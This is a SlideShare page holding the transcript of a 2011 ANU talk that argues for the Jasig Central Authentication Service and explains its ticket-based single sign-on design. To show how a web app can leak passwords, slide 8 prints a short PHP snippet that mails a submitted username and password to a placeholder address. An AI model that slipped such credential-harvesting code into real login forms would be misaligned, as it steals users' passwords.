Jasig

  • 2,761 views
Uploaded on

An article I gave to the ANU It community about the Jasig Central Authentication Service - what is is and why we need it.

An article I gave to the ANU It community about the Jasig Central Authentication Service - what is is and why we need it.

More in: Technology
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
2,761
On Slideshare
0
From Embeds
0
Number of Embeds
1

Actions

Shares
Downloads
17
Comments
0
Likes
0

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. A Central Authentication Service for ANU Steve Swinsburg Java Team Leader Information Technology Infrastructure, ANU March 2011Thursday, 31 March 2011
  • 2. Overview • Why do we need single sign on? • Security issues with current approaches to user authentication • The architecture of CAS • How you can implement it • Demo • Future possibilities 2Thursday, 31 March 2011
  • 3. Pop quiz • Is same sign on, single sign on, it’s all the same thing right? • We plug our authentication into LDAP, isn’t that enough? NO! 3Thursday, 31 March 2011
  • 4. Why do we need single sign on? • User Convenience – User only needs to login once per browser session – Seamless login to multiple participating web applications • Security – Applications never touch a user’s password – User’s have the confidence that their primary credentials won’t be leaked by a compromised web application. 4Thursday, 31 March 2011
  • 5. User Convenience • Much simpler experience for users – can have one authoritative credential source • we already do this via LDAP – same sign on – can also be a security issue depending on implementation. – reduce ‘authentication fatigue’ 5Thursday, 31 March 2011
  • 6. Security • We already have ‘same sign on’ – Applications use the same authoritative source for user credentials - LDAP: App 1 User App 2 LDAP App 3 6Thursday, 31 March 2011
  • 7. The Security Issue • Each web application’s login form touches the user’s password to authenticate the user. • If just one application is compromised, primary credentials are leaked and can be used to access every other system. – Intrusion, wi-fi sniffing, or even just logging. 7Thursday, 31 March 2011
  • 8. This may shock you • Credential leaks are not always malicious – could be unintentional, inexperienced developer, unaware • Webapps could be collecting credentials – and mailing them, logging them, writing them to a file... $uid = $_POST[username]; $pwd = $_POST[password]; mail(me@somewhere.com, "credentials", "u=$uid,p=$pwd"); 8Thursday, 31 March 2011
  • 9. The Security Solution • Get rid of all application login forms • All applications make use of CAS for authentication • Users no longer present credentials to the individual applications • If an application is compromised, that’s bad, but it will not affect the others as the password cannot be leaked. 9Thursday, 31 March 2011
  • 10. The Security Solution • Delegated authentication to CAS CAS App 1 User LDAP App 2 App 3 10Thursday, 31 March 2011
  • 11. The Architecture of CAS • To the user, it is a single action – Login and then get redirected back to the app • To the application, it is a series of handshakes to ensure security • Achieved via filters,clients and modules, available for most languages (more on this later) 11Thursday, 31 March 2011
  • 12. The Architecture of CAS If need auth, redirect CAS 2 client to CAS App 1 Username 4 CAS redirects to app with ST (GET) Password 1 Form contains Client App verifies ST with a one use Visit app 5 CAS (POST) token (LT) to prevent form CAS responds with replay 6 user auth result and redirects to app Validate Attribute release via 3 credentials SAML (optional) LDAP 12Thursday, 31 March 2011
  • 13. The Architecture of CAS • Form contains a one use token (LT) – Cannot be replayed (ie back button) • Client receives a cookie (TGT) to allow future auto login – Tightly scoped (to CAS only) – SSL vended • Application ST is single use only – Cannot be replayed if URL is captured 13Thursday, 31 March 2011
  • 14. How you can implement it • Java – casclient, servlet filter • PHP – phpCAS module to get authenticated username – automatically takes care of requests • Closed source or vendor apps – SAML – Custom/modified login module if possible – Consult the vendor (!) 14Thursday, 31 March 2011
  • 15. Demo • App 1 – https://jira-test.anu.edu.au • App 2 – https://dev.anu.moodle.netspot.com.au 15Thursday, 31 March 2011
  • 16. Future possibilities • Potential to restrict LDAP auth once apps are CASified • Shibboleth is an option for federated access across institutions • Integration between Shib & CAS so the UX is seamless for ANU users • PC login can integrate with CAS via Kerberos 16Thursday, 31 March 2011
  • 17. Questions Steve Swinsburg Java Team Leader Information Technology Infrastructure, ANU 17Thursday, 31 March 2011